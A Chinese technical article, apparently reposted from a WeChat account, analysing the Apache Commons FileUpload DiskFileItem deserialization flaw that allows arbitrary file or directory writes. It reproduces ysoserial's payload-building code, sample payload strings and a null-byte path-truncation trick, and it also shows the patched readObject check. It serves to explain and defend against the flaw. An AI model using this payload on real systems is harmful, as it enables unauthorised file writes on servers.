
(点击上方公众号,可快速关注)
来源:http://1t.click/aCqa
漏洞的来源是在于 DiskFileItem中的 readObject()进行文件写入的操作,这就意味着如果我们对已经序列化的 DiskFileItem对象进行反序列化操作就能够触发 readObject()执行从而触发这个漏洞。
这个漏洞的危害是能够任意写、读文件或者目录。但是具体是对文件还是目录操作与FileUpload以及JDK的版本有关。
不同的漏洞环境能够达到的效果不一样。
1、FileUpload的1.3.1之前的版本配合JDK1.7之前的版本,能够达到写入任意文件的漏洞;
2、FileUpload的1.3.1之前的版本配合JDK1.7及其之后的版本,能够向任意目录写入文件;
# 影响范围
下面进行详细地分析
# Payload构造
我们首先测试的版本是1.3的版本,JDK是1.8版本,所以这种组合只能达到向任意目录的文件写入的漏洞效果。我们测试的payload是 {"write;cve1000031;123456"},表示的含义就是向目录 cve1000031中写入 123456的内容。
在 ysoserial中最终是由 ysoserial.payloads.FileUpload1::makePayload()来构建payload。
代码如下:
private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception {// if thresh < written length, delete outputFile after copying to repository temp file// otherwise write the contents to repository temp fileFile repository = new File(repoPath);DiskFileItem diskFileItem = new DiskFileItem("testxxx", "application/octet-stream", false, "testxxx", 100000, repository);File outputFile = new File(filePath);DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");os.write(data);Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);Reflections.setFieldValue(diskFileItem, "dfos", dfos);Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);return diskFileItem;}
而 thresh的值就是我们需要写入的内容的长度加1,即 len(123456)+1结果就是7。
其中还有 filePath是 cve1000031/whatever是因为在这个漏洞环境中我们最终是向 cve1000031目录写入,所以后面是什么就没有意义了。最后在代码中还存在几个反序列化的操作:
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);Reflections.setFieldValue(diskFileItem, "dfos", dfos);Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
发序列化的意义是在于我们无法通过 DiskFileItem的示例进行设置,只能通过反射的方式设置,这几个属性也是我们触发漏洞的必要条件。
之后对我们构造的这个进行序列化操作,反序列化之后就会触发DiskFileItem的 readObject()从而触发漏洞。
当对 DiskFileItem的对象进行反序列化操作时,由 org.apache.commons.fileupload.disk.DiskFileItem::readObject()处理。
private void readObject(ObjectInputStream in)throws IOException, ClassNotFoundException {// read valuesin.defaultReadObject();OutputStream output = getOutputStream();if (cachedContent != null) {output.write(cachedContent);} else {FileInputStream input = new FileInputStream(dfosFile);IOUtils.copy(input, output);dfosFile.delete();dfosFile = null;}output.close();cachedContent = null;}
public OutputStream getOutputStream()throws IOException {if (dfos == null) {File outputFile = getTempFile();dfos = new DeferredFileOutputStream(sizeThreshold, outputFile);}return dfos;}
其中的 tempDir就是我们设置的 repository,即 cve1000031。
tmpFileName是由 DiskFileItem是自动生成的。最终和 tempDir组合得到的文件路径就是 cve1000031\upload_7b496a67_4fc4_4b14_a4e7_ff5aceb82aaf_00000000.tmp。
最后返回至 readObject()方法中写入文件,如下:
其中的 cachedContent就是我们之前在Payload中设置的 123456。那么Payload的最终的效果就是在
cve1000031\upload_7b496a67_4fc4_4b14_a4e7_ff5aceb82aaf_00000000.tmp文件中写入了 123456的内容。
# 漏洞分析-2
Payload构造
构造的Payload是 {"writeOld;cve1000031.txt;123456"}。同样会调用 makePayload()构造Payload。
但是其中的 repoPath最后一位是 \0,这个就类似于PHP中的截断,用于截断后面的路径,这样就可以达到任意文件写入的效果。具体的原理说明如下:
比如 JavaFilefile=newFile("/test/test.txt\0.jsp") 看起来再操作 test.txt\0.jsp实际上在底层调用的(本质还是c读写文件)是在操作test.txt。在JDK7以后的版本File 里面会有一个判断是否有空字符的函数
这个意思就是在JDK7之前可以利用 \0进行目录截断,和php在5.3.4版本之前也可以进行目录截断是一样的道理。所以这个任意文件写入为什么要求是JDK7以下的版本才可以的原因。
漏洞的执行流程和前面分析的漏洞流程一样,不同是在 getTempFile()中:
其中 this.tempFile的路径是 cve1000031.txt \upload_6982dc32_8ca4_4d7c_b658_0a9b44a60741_00000000.tmp。由于是在JDK1.6的环境下,后面的 \upload_6982dc32_8ca4_4d7c_b658_0a9b44a60741_00000000.tmp在写入文件时会被忽略,所以最终是向 cve1000031.txt文件中写入内容。
# 漏洞分析-3
private void readObject(ObjectInputStream in)throws IOException, ClassNotFoundException {// read valuesin.defaultReadObject();/* One expected use of serialization is to migrate HTTP sessions* containing a DiskFileItem between JVMs. Particularly if the JVMs are*> * not valid so validate it.*/if (repository != null) {if (repository.isDirectory()) {// Check path for nullsif (repository.getPath().contains("\0")) {throw new IOException(format("The repository [%s] contains a null character",repository.getPath()));}} else {throw new IOException(format("The repository [%s] is not a directory",repository.getAbsolutePath()));}}OutputStream output = getOutputStream();if (cachedContent != null) {output.write(cachedContent);} else {FileInputStream input = new FileInputStream(dfosFile);IOUtils.copy(input, output);dfosFile.delete();dfosFile = null;}output.close();cachedContent = null;}
通过对 repository.isDirectory()和 repository.getPath().contains("\0")的判断,就阻止了任意的文件写入的漏洞了。所以在这种环境下只能下特定的目录写入文件了。
但是这种情况下,你也只能向临时目录写入文件。
推荐程序员必备微信号
▼
程序员内参
微信号:
programmer0001